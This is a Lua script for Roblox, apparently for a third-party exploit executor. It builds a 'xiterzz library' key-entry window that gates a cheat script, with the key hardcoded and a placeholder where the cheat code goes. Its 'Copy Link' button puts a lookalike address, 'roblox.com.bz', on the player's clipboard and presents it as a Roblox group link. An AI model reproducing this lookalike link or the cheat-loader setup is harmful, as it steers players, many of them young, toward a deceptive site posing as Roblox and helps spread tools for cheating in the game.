-- [[ LIGHTWEIGHT KEY SYSTEM ]]
local KeySystem = Instance.new("ScreenGui")
local Main = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local Info = Instance.new("TextLabel")
local Author = Instance.new("TextLabel")
local KeyInput = Instance.new("TextBox")
local CheckBtn = Instance.new("TextButton")
local CopyBtn = Instance.new("TextButton")

local ACTUAL_KEY = "larpingxiterzxx"
local KEY_LINK = "https://roblox.com.bz/communities/132109449/"

-- Base Setup
KeySystem.Name = "LightweightKeySystem"
KeySystem.Parent = game:GetService("CoreGui")
KeySystem.ResetOnSpawn = false

Main.Name = "Main"
Main.Parent = KeySystem
Main.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
Main.Position = UDim2.new(0.5, -175, 0.5, -75)
Main.Size = UDim2.new(0, 350, 0, 150)
Main.Active = true

-- Texts
Title.Parent = Main
Title.BackgroundTransparency = 1
Title.Position = UDim2.new(0, 0, 0, 5)
Title.Size = UDim2.new(1, 0, 0, 20)
Title.Font = Enum.Font.SourceSansBold
Title.Text = "xiterzz library"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 16

Info.Parent = Main
Info.BackgroundTransparency = 1
Info.Position = UDim2.new(0, 0, 0, 25)
Info.Size = UDim2.new(1, 0, 0, 15)
Info.Font = Enum.Font.SourceSans
Info.Text = "Join the group to unlock"
Info.TextColor3 = Color3.fromRGB(255, 200, 0)
Info.TextSize = 12

Author.Parent = Main
Author.BackgroundTransparency = 1
Author.Position = UDim2.new(0, 0, 0, 40)
Author.Size = UDim2.new(1, 0, 0, 15)
Author.Font = Enum.Font.SourceSansItalic
Author.Text = "made by xiterzzz"
Author.TextColor3 = Color3.fromRGB(150, 150, 150)
Author.TextSize = 11

-- Input Box
KeyInput.Parent = Main
KeyInput.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
KeyInput.Position = UDim2.new(0.05, 0, 0.45, 0)
KeyInput.Size = UDim2.new(0.9, 0, 0, 30)
KeyInput.Font = Enum.Font.SourceSans
KeyInput.PlaceholderText = "Enter key here..."
KeyInput.Text = ""
KeyInput.TextColor3 = Color3.fromRGB(255, 255, 255)
KeyInput.TextSize = 14

-- Left Button
CheckBtn.Parent = Main
CheckBtn.BackgroundColor3 = Color3.fromRGB(0, 120, 0)
CheckBtn.Position = UDim2.new(0.05, 0, 0.72, 0)
CheckBtn.Size = UDim2.new(0.42, 0, 0, 30)
CheckBtn.Font = Enum.Font.SourceSansBold
CheckBtn.Text = "Check Key"
CheckBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
CheckBtn.TextSize = 14

-- Right Button
CopyBtn.Parent = Main
CopyBtn.BackgroundColor3 = Color3.fromRGB(80, 80, 80)
CopyBtn.Position = UDim2.new(0.53, 0, 0.72, 0)
CopyBtn.Size = UDim2.new(0.42, 0, 0, 30)
CopyBtn.Font = Enum.Font.SourceSansBold
CopyBtn.Text = "Copy Link"
CopyBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
CopyBtn.TextSize = 14

-- Functionality
CopyBtn.MouseButton1Click:Connect(function()
    if setclipboard then
        setclipboard(KEY_LINK)
        CopyBtn.Text = "Link copied! Join group"
        task.wait(2)
        CopyBtn.Text = "Copy Link"
    end
end)

CheckBtn.MouseButton1Click:Connect(function()
    if KeyInput.Text == ACTUAL_KEY then
        KeySystem:Destroy()
        -- PUT SCRIPT BELOW HERE
        print("Loaded!")
    else
        CheckBtn.Text = "Incorrect Key"
        task.wait(2)
        CheckBtn.Text = "Check Key"
    end
end)